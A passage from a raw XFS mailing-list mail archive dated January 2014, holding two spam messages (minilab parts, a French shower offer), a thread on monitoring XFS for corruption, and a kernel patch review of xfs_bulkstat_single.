Mjc0KSAgVVNEOTQwJm5iPXNwO0ozOTA4Nzgob3JKMzkxMjU5KSAgVVNEOTIwIEozOTA1NzYmIzY1 Mjk1PTszOTA2MzIgICAgICAgICBVU0Q0MDAwIEZ1amkzNTBwb3dlcnN1cHBseSAgIFVTRDIwMDAm bmJzcD07SjM5MDg2NCAgICAgVVNEMzUwMCBKMzkwOT0xMy0wMSAgIFVTRDI3MDAgSjMwOTQ3LTAy ICAmbmI9c3A7ICAgICAgdXNkMTUwMCBaMDIxNDM5LTAxPSAgICAgICBVU0Q5NTAgRVBTT04xMz1V TENERFJJVkVSICBVU0QxMTAwIEVQU09OMTNZTENEICA9ICAgICAgIFVTRDExMDAgRnVqaTMzMD0v MzQwcGFwZXJtYWdhemluZSAgVVNENDAwIERpZ2l0YWxjYXJyaWVyIEUtZmlsbWluZzE0NyAgVVNE MTUwMD0gRHVnYW8xNDcgICAgICBVU0QxNDAwIFByaXNtMTQ3ICAgICAgVVNEMTQwMCZuPWJzcDtK aW5jaGVuZzE0NyAgICBVU0QxNTAwIFN1bmltYWdlPTE0NyAgIFVTRDE1MDAgcGFydHNSZXBhaXIg TEREMjcgIFVTRDU1MCZuYnNwPTtHTUMyNyAgVVNENTUwIENUTDIzLiAgIFVTRDU1PTAgQ1RMMjAg ICAgIFVTRDU1MCBCZWxvd2FyZXRoZW1hY2hpbmVzd2VjYW5zdXBwbHk6IExQT1MyNFBST3ByaW50 ZXIgICBVU0Q1MjAwMEFTSVMgcmVjb25kaXRpb25taW5pbGFiUVNTMzAwMSAtLS1VU0Q2NTAwd2l0 aG91dHNjYT1ubmVyIFFTUzMwMTEgLS0tVVNENzUwMCBRU1MzMjAxU0QtLS0tVVNEPTIzNTAwIFFT UzMyMDIgIC0tLVVTRDI1NTAwIFFTUzM1MDE9UExVU1BSTy0tIFVTRDE5NTAwRnVqaTM3MCBVU0Q3 MDAwIE5ld2lua2pldHByaW50ZXIzODAwIC0tVVNENzAwMDAgICZuYj1zcDtHUkVFTi0tLS1VU0Qy NDAwMCAgR1JFRU4yLS0tVVNENDMwMDAgV2VuZHk= ------=iiii434_3779_157370441.432687 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Dear Sir,
 
How are you?
 
As a leading supplier for minilab machine, minilab accessorie= s, necessities. We can supply you:
 
1. Noritsu/Fuji/China made minilab
2. repair laser,aom,p= ower supply,pcb etc.
3. minilab spare parts
4. photo frame
 
parts sell
  LDD27    USD1850
 = GMC27     USD3500
  J390577   = ; USD2000
  J390976 (or J391274)   USD940
&nb= sp; J390878 (or J391259)   USD920
  J390576/= ;390632          USD4000<= br />  Fuji 350 power supply    USD2000
 = ; J390864           USD3500
  J3909= 13-01      USD2700
  J30947-02  &nb= sp;       usd1500
  Z021439-01=         USD950
  EPSON 13= U LCD DRIVER   USD1100
  EPSON 13Y LCD  =         USD1100
  Fuji330= /340 paper magazine   USD400
 
Digital carrier
  E-filming 147   USD1500=
  Dugao 147       USD1400
  Prism 147       USD1400
&n= bsp; Jincheng147     USD1500
  Sunimage = 147    USD1500
 
parts Repair
 LDD27     USD550
 = ;GMC27    USD550
  CTL 23.    USD55= 0
  CTL20      USD550
 
Below are the machines we can supply:
 
LPOS24 PRO printer    USD52000 AS IS
 
recondition minilab
QSS3001  ---USD6500 without sca= nner 
QSS3011  ---USD7500 
QSS3201SD----USD= 23500 
QSS3202   ---USD25500 
QSS3501 = PLUS PRO --  USD19500
Fuji370  USD7000
 
New inkjet printer
3800  -- USD70000  &nb= sp;
GREEN ----USD24000  
GREEN 2 ---USD43000
 
Wendy
------=iiii434_3779_157370441.432687-- From rotem.benarye@gmail.com Sat Jan 4 01:27:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5028E7F3F for ; Sat, 4 Jan 2014 01:27:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1224D8F8040 for ; Fri, 3 Jan 2014 23:27:07 -0800 (PST) X-ASG-Debug-ID: 1388820424-04bdf0568e635e0001-NocioJ Received: from mail-ig0-f171.google.com (mail-ig0-f171.google.com [209.85.213.171]) by cuda.sgi.com with ESMTP id R9awjiyI9x75ePzZ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 03 Jan 2014 23:27:05 -0800 (PST) X-Barracuda-Envelope-From: rotem.benarye@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.171] Received: by mail-ig0-f171.google.com with SMTP id c10so2915616igq.4 for ; Fri, 03 Jan 2014 23:27:04 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=mtWMAhcrv9H0Mp0Tdi4qBfCj9wcyb8AOxQ5nrU+XPxI=; b=EbSObIvkANzqBnXrIxibcjqgE5lkqIdNxinKu9eUgqU6yX5+3lJRpG3DJZZrenlKbI 7lFHnTvFrjDj3YfaKxuQYByXAzUdtKGQ2NsscEe0zOdCUpY7sXOlymEMNPpSTO7U3fKE DV/vnLmwROP6t5LKbJM8p0NEpoq/ZbZVb6l2FaAW14eP5yxkbVfqh6xj3XZCeYiANAoj yE5qDMsdoKS4PaYUt1cIBE4KMImGc5PUvREIPCPBp9cyonE0+Qq/sTZ4l9dAhLo1yUKO Gs6QSiictMAn1pzlgEkGq3jMNN7/AdEovEzlV97a8hOAdkDmTfIZrVlc7c1S4HmsucGE nhPQ== MIME-Version: 1.0 X-Received: by 10.43.8.66 with SMTP id or2mr66429873icb.19.1388820424733; Fri, 03 Jan 2014 23:27:04 -0800 (PST) Received: by 10.42.237.133 with HTTP; Fri, 3 Jan 2014 23:27:04 -0800 (PST) In-Reply-To: <52C70076.3090004@sandeen.net> References: <201401021304.s02D4Agc028655@m2c-new.corp.sgi.com> <20140102142755.3659bd42@harpe.intellique.com> <52C70076.3090004@sandeen.net> Date: Sat, 4 Jan 2014 09:27:04 +0200 Message-ID: Subject: Re: XFS File System Monitor From: Rotem Ben Arye X-ASG-Orig-Subj: Re: XFS File System Monitor To: Eric Sandeen Cc: Emmanuel Florac , xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=bcaec50e5f2912b89c04ef1ff493 X-Barracuda-Connect: mail-ig0-f171.google.com[209.85.213.171] X-Barracuda-Start-Time: 1388820425 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143714 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --bcaec50e5f2912b89c04ef1ff493 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Thank you Eric . An properly Document.. On Fri, Jan 3, 2014 at 8:24 PM, Eric Sandeen wrote: > On 1/2/14, 7:27 AM, Emmanuel Florac wrote: > > Le Thu, 2 Jan 2014 15:20:58 +0200 > > Rotem Ben Arye =E9crivait: > > > >> HI , I'm not sure it will help here, we are working central storage > >> with Netapp , EMC and others , > >> The Using of XFS File system on volume , is expressed with an > >> creation of XFS, as e.g : mkfs.xfs. > >> My question about what are the tools that could assist us to monitor > >> XFS file system was in general. > > > > Rotem, if you have no SGI supported hardware, SGI support won't help > > you. > > > > Furthermore, it's impossible to help you without more details: what is > > the hardware setup, the exact OS version and linux kernel in use. > > > > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_whe= n_reporting_a_problem.3F > > -Eric > --bcaec50e5f2912b89c04ef1ff493 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Thank you Eric=A0.
An pr= operly Document..




On Fri, Jan 3, 2014 at 8:24 PM, Eric Sandeen <sandeen@sandeen.net> wrote:
On 1/2/14, 7:27 AM, Emmanu= el Florac wrote:
> Le Thu, 2 Jan 2014 15:20:58 +0200
> Rotem Ben Arye <
rotem.be= narye@gmail.com> =E9crivait:
>
>> HI , I'm not sure it will help here, =A0we =A0are working cent= ral storage
>> with Netapp , EMC and others ,
>> The Using of XFS File system on volume , is expressed with an
>> creation of XFS, as e.g : =A0mkfs.xfs.
>> =A0My question about what are the tools that could assist us to mo= nitor
>> XFS file system was in general.
>
> Rotem, if you have no SGI supported hardware, SGI support won't he= lp
> you.
>
> Furthermore, it's impossible to help you without more details: wha= t is
> the hardware setup, the exact OS version and linux kernel in use.
>

http://xfs.org/i= ndex.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_prob= lem.3F

-Eric

--bcaec50e5f2912b89c04ef1ff493-- From jeff.liu@oracle.com Sat Jan 4 07:46:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0D8DE7F4E for ; Sat, 4 Jan 2014 07:46:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BE114AC007 for ; Sat, 4 Jan 2014 05:46:11 -0800 (PST) X-ASG-Debug-ID: 1388843166-04bdf0568e71c90001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 4qMuPjSLJGQTDfH2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 04 Jan 2014 05:46:07 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s04Dk5fq004499 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 4 Jan 2014 13:46:06 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s04Dk4C4021486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 4 Jan 2014 13:46:05 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s04Dk4lC014022; Sat, 4 Jan 2014 13:46:04 GMT Received: from [192.168.1.106] (/221.223.98.217) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 04 Jan 2014 05:46:04 -0800 Message-ID: <52C81098.1030406@oracle.com> Date: Sat, 04 Jan 2014 21:46:00 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Brian Foster , "xfs@oss.sgi.com" Subject: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation References: <52BEB3E7.2080706@oracle.com> <52C7232B.3050807@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation In-Reply-To: <52C7232B.3050807@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388843167 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143722 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/04 2014 04:52 AM, Brian Foster wrote: > On 12/28/2013 06:20 AM, Jeff Liu wrote: >> From: Jie Liu >> >> In xfs_bulkstat_single(), xfs_bulkstat_one() and xfs_bulkstat() might >> return different error if either call failed, we'd better return the >> proper error in this case. Moreover, the function argument done is >> useless in terms of xfs_ioc_bulkstat(), hence we can get rid of it. >> >> Signed-off-by: Jie Liu >> --- >> fs/xfs/xfs_ioctl.c | 3 +-- >> fs/xfs/xfs_itable.c | 59 ++++++++++++++++++++++++++--------------------------- >> fs/xfs/xfs_itable.h | 3 +-- >> 3 files changed, 31 insertions(+), 34 deletions(-) >> >> diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c >> index 33ad9a7..2fdd750 100644 >> --- a/fs/xfs/xfs_ioctl.c >> +++ b/fs/xfs/xfs_ioctl.c >> @@ -828,8 +828,7 @@ xfs_ioc_bulkstat( >> error = xfs_inumbers(mp, &inlast, &count, >> bulkreq.ubuffer, xfs_inumbers_fmt); >> else if (cmd == XFS_IOC_FSBULKSTAT_SINGLE) >> - error = xfs_bulkstat_single(mp, &inlast, >> - bulkreq.ubuffer, &done); >> + error = xfs_bulkstat_single(mp, &inlast, bulkreq.ubuffer); >> else /* XFS_IOC_FSBULKSTAT */ >> error = xfs_bulkstat(mp, &inlast, &count, xfs_bulkstat_one, >> sizeof(xfs_bstat_t), bulkreq.ubuffer, >> diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c >> index b5bb7b6..692671c 100644 >> --- a/fs/xfs/xfs_itable.c >> +++ b/fs/xfs/xfs_itable.c >> @@ -509,51 +509,50 @@ xfs_bulkstat( >> } >> >> /* >> - * Return stat information in bulk (by-inode) for the filesystem. >> - * Special case for non-sequential one inode bulkstat. >> + * Return stat information in bulk (by-inode) for the filesystem. Special case >> + * for non-sequential one inode bulkstat. >> */ >> -int /* error status */ >> +int >> xfs_bulkstat_single( >> - xfs_mount_t *mp, /* mount point for filesystem */ >> + struct xfs_mount *mp, /* mount point for filesystem */ >> xfs_ino_t *lastinop, /* inode to return */ >> - char __user *buffer, /* buffer with inode stats */ >> - int *done) /* 1 if there are more stats to get */ >> + char __user *buffer) /* buffer with inode stats */ >> { >> - int count; /* count value for bulkstat call */ >> - int error; /* return value */ >> - xfs_ino_t ino; /* filesystem inode number */ >> + xfs_ino_t ino = *lastinop; >> int res; /* result from bs1 */ >> + int error; >> >> /* >> - * note that requesting valid inode numbers which are not allocated >> + * Note that requesting valid inode numbers which are not allocated >> * to inodes will most likely cause xfs_imap_to_bp to generate warning >> - * messages about bad magic numbers. This is ok. The fact that >> - * the inode isn't actually an inode is handled by the >> - * error check below. Done this way to make the usual case faster >> - * at the expense of the error case. >> + * messages about bad magic numbers. This is ok. The fact that the >> + * inode isn't actually an inode is handled by the error check below. >> + * Done this way to make the usual case faster at the expense of the >> + * error case. >> */ >> - >> - ino = *lastinop; >> - error = xfs_bulkstat_one(mp, ino, buffer, sizeof(xfs_bstat_t), >> + error = xfs_bulkstat_one(mp, ino, buffer, sizeof(struct xfs_bstat), >> NULL, &res); >> if (error) { >> + int count = 1; >> + int done, error2; >> + >> /* >> - * Special case way failed, do it the "long" way >> - * to see if that works. >> + * Special case way failed, do it the "long" way to see if >> + * that works. >> */ >> (*lastinop)--; >> - count = 1; >> - if (xfs_bulkstat(mp, lastinop, &count, xfs_bulkstat_one, >> - sizeof(xfs_bstat_t), buffer, done)) >> - return error; >> - if (count == 0 || (xfs_ino_t)*lastinop != ino) >> - return error == EFSCORRUPTED ? >> - XFS_ERROR(EINVAL) : error; >> - else >> - return 0; >> + error2 = xfs_bulkstat(mp, lastinop, &count, xfs_bulkstat_one, >> + sizeof(struct xfs_bstat), buffer, &done); >> + if (error2) >> + return error2; >> + >> + if (count == 0 || *lastinop != ino) { >> + if (error == EFSCORRUPTED) >> + error = XFS_ERROR(EINVAL); >> + } >> } >> - *done = 0; >> - return 0; >> + >> + return error; > > Here it looks like you return an error value if the initial > xfs_bulkstat_one() fails and the fallback xfs_bulkstat() succeeds. Good catch, thanks for for your review. Thanks, -Jeff From stan@hardwarefreak.com Sat Jan 4 09:45:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6944E7F50 for ; Sat, 4 Jan 2014 09:45:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 383008F8040 for ; Sat, 4 Jan 2014 07:45:12 -0800 (PST) X-ASG-Debug-ID: 1388850310-04bdf0568e754d0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 3LARRAG6bTXPyh64 for ; Sat, 04 Jan 2014 07:45:11 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 7818A6C0CA; Sat, 4 Jan 2014 09:45:10 -0600 (CST) Message-ID: <52C82C82.8020801@hardwarefreak.com> Date: Sat, 04 Jan 2014 09:45:06 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Rotem Ben Arye , "xfs@oss.sgi.com" Subject: Re: XFS File System Monitor References: <52C58095.70408@hardwarefreak.com> X-ASG-Orig-Subj: Re: XFS File System Monitor In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1388850311 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/4/2014 2:21 AM, Rotem Ben Arye wrote: > Hi Stan, > Thank you for focused answer ,only to realize , i'm aware that monitor snmp > checks On /var/log/messages > Of Production server in power failure ,so that after that will tell us - > "power outage causes to a file system corruption" is useless. > > But for all those cases that you mention " bugs in the XFS code or > elsewhere in the Linux kernel , transient or permanent hardware failures" > Is there no some suitable log that we can track to get an indication of > kind event that you specified . Errors due to such problems are logged in dmesg. Hardware problems will usually show up as IO errors generated from the device on which XFS resides. When these occur XFS will typically initiate automatic shutdown of the filesystem to prevent (further) corruption. In this case the log entry occurs simultaneously with the shutdown, so monitoring logs won't notify you in advance of this problem. Monitoring your hardware may. If you get corruption due to a software bug, you may not see an error in the log until after the filesystem suffers the corruption event. Usually when you see errors of this nature in the log it is because corruption has already occurred, possibly long ago, but is just now being detected by code specifically added to XFS to detect such things. For example, say your filesystem is 3 years old, corruption occurred in year one, and an update to XFS 2 years later looks for such corruption whereas before it did not. Depending on the severity of the corruption, xfs_repair may be able to fix it, or it may not. If not you ask for help here. So again, I'm not away of any proactive monitoring that would help in these situations. Of course it would be nice to know if something is going to fail beforehand, but this isn't always possible, unfortunately. -- Stan > Thank you. > > > > On Thu, Jan 2, 2014 at 5:07 PM, Stan Hoeppner wrote: > >> On 1/2/2014 6:16 AM, Rotem Ben Arye wrote: >>> Hi, SGI Support Team. >>> My Name is Rotem , I am a Linux/Unix System Administrator in web company >> at >>> Israel. >>> I have a question I want to appeal to you to get some advice. >>> >>> In the last weekend we had crisis in one of the Production server in >>> the comany ,the problem was defined by the Integrators as "xfs file >> system >>> corrupted" >>> My question is , what are the open source tools , that we can use on >>> runtime at production environment , to monitor and sample to get >> indication >>> on mount XFS , >>> That something is not living well, and can lead to problem. >>> >>> We are working in a Linux environment on CentOS distributions server. >> >> So in a nutshell you're looking for a monitor application that will in >> essence give you a green, yellow, or red light informing you of the >> filesystem's health. Or some kind of SNMP logging that suggests a >> corruption is imminent. >> >> There is no such tool, and never will be. Nearly all XFS corruption >> events are caused by either software bugs in the XFS code or elsewhere >> in the Linux kernel, transient or permanent hardware failures, or power >> failures, at some layer in the storage stack. It is not feasible to >> predict such events. >> >> When an XFS corruption occurs, one should report all related log >> information and errors to this list so that the problem may be analyzed >> and the root cause identified. Then the proper corrective action can be >> identified and implemented to fix the problem and hopefully prevent it >> from reoccurring. >> >> -- >> Stan >> > From pam=news-zetrend.com@mlgnusa.com Sun Jan 5 02:59:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.5 required=5.0 tests=DATE_IN_PAST_03_06, HTML_IMAGE_RATIO_04,HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D03DF7F3F for ; Sun, 5 Jan 2014 02:59:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B89698F8040 for ; Sun, 5 Jan 2014 00:59:47 -0800 (PST) X-ASG-Debug-ID: 1388912380-04cb6c537dbee690001-NocioJ Received: from mail6.mlgnusa.com (mail6.mlgnusa.com [194.19.244.213]) by cuda.sgi.com with ESMTP id GsVAlgTS8SW9zaAh for ; Sun, 05 Jan 2014 00:59:41 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.213 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=N5J17OQ5rHZyLhAEJ4LZiPqTA0o=; b=s+UpKOj3DNywVoerrv7n5E+cwd4hqV0tE065CwRopu0W3sPjxwM3Mj7gVUHI0v+I4MREEoemI7jF wS8VK0x2TEb/7lZtz9w98HKwpK2ywaC91Tq0KyBSWtokXowpLBY8IEgqJ8ENV2g6ZPcBEG5bcrbQ hZWICtCVpkjjW4g9FK4= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=FWv21KKlsII2HNKd0IOdPXhZ5lEdYxyhTpjApkL8VQnY6edobaQNtV50UYJ1GngC7+KycEH3EdXC wtoaWbMfaVEUKMY8Hmmxw0ys38d1Kf799Kq4DLU5B7WySfRkKK3R7+nS/z4qqATRqd/DnQsK2Y8V LpQWK8eDwP0CTkkyXiU=; Received: by mail6.mlgnusa.com id hp4ffs1fblcc for ; Sun, 5 Jan 2014 10:59:39 +0200 (envelope-from ) Date: Sun, 5 Jan 2014 05:16:36 +0200 To: From: IdealDouche Reply-To: IdealDouche Subject: =?utf-8?Q?Nouveau,_enfin_une_douche_pratique_et_s=C3=A9curis=C3=A9e._Devi?= =?utf-8?Q?s_gratuit?= Message-ID: <8666eae07e85bb02fd8abe714e7fb308@mlgnusa.com> X-ASG-Orig-Subj: =?utf-8?Q?Nouveau,_enfin_une_douche_pratique_et_s=C3=A9curis=C3=A9e._Devi?= =?utf-8?Q?s_gratuit?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID38f4a979d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.38f4a979 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.38f4a979 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=38f4a979&e=d09c0023 List-Unsubscribe: , Sender: "IdealDouche" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_945ccdd20e1a807b7b321ad384628117" X-Barracuda-Connect: mail6.mlgnusa.com[194.19.244.213] X-Barracuda-Start-Time: 1388912381 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.26 X-Barracuda-Spam-Status: No, SCORE=1.26 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_03_06, DATE_IN_PAST_03_06_2, DKIM_SIGNED, HTML_IMAGE_RATIO_04, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143748 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_03_06 Date: is 3 to 6 hours before Received: date 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 1.08 DATE_IN_PAST_03_06_2 DATE_IN_PAST_03_06_2 --b1_945ccdd20e1a807b7b321ad384628117 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Idealdouche : Une solution unique en France ! : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= Idealdouche : Une solution unique en France ! : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= • Une sécurité d'utilisation totale • Installation en moins d'une journée • Parfaitement modulable : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=xfs@oss.sgi.com target= : 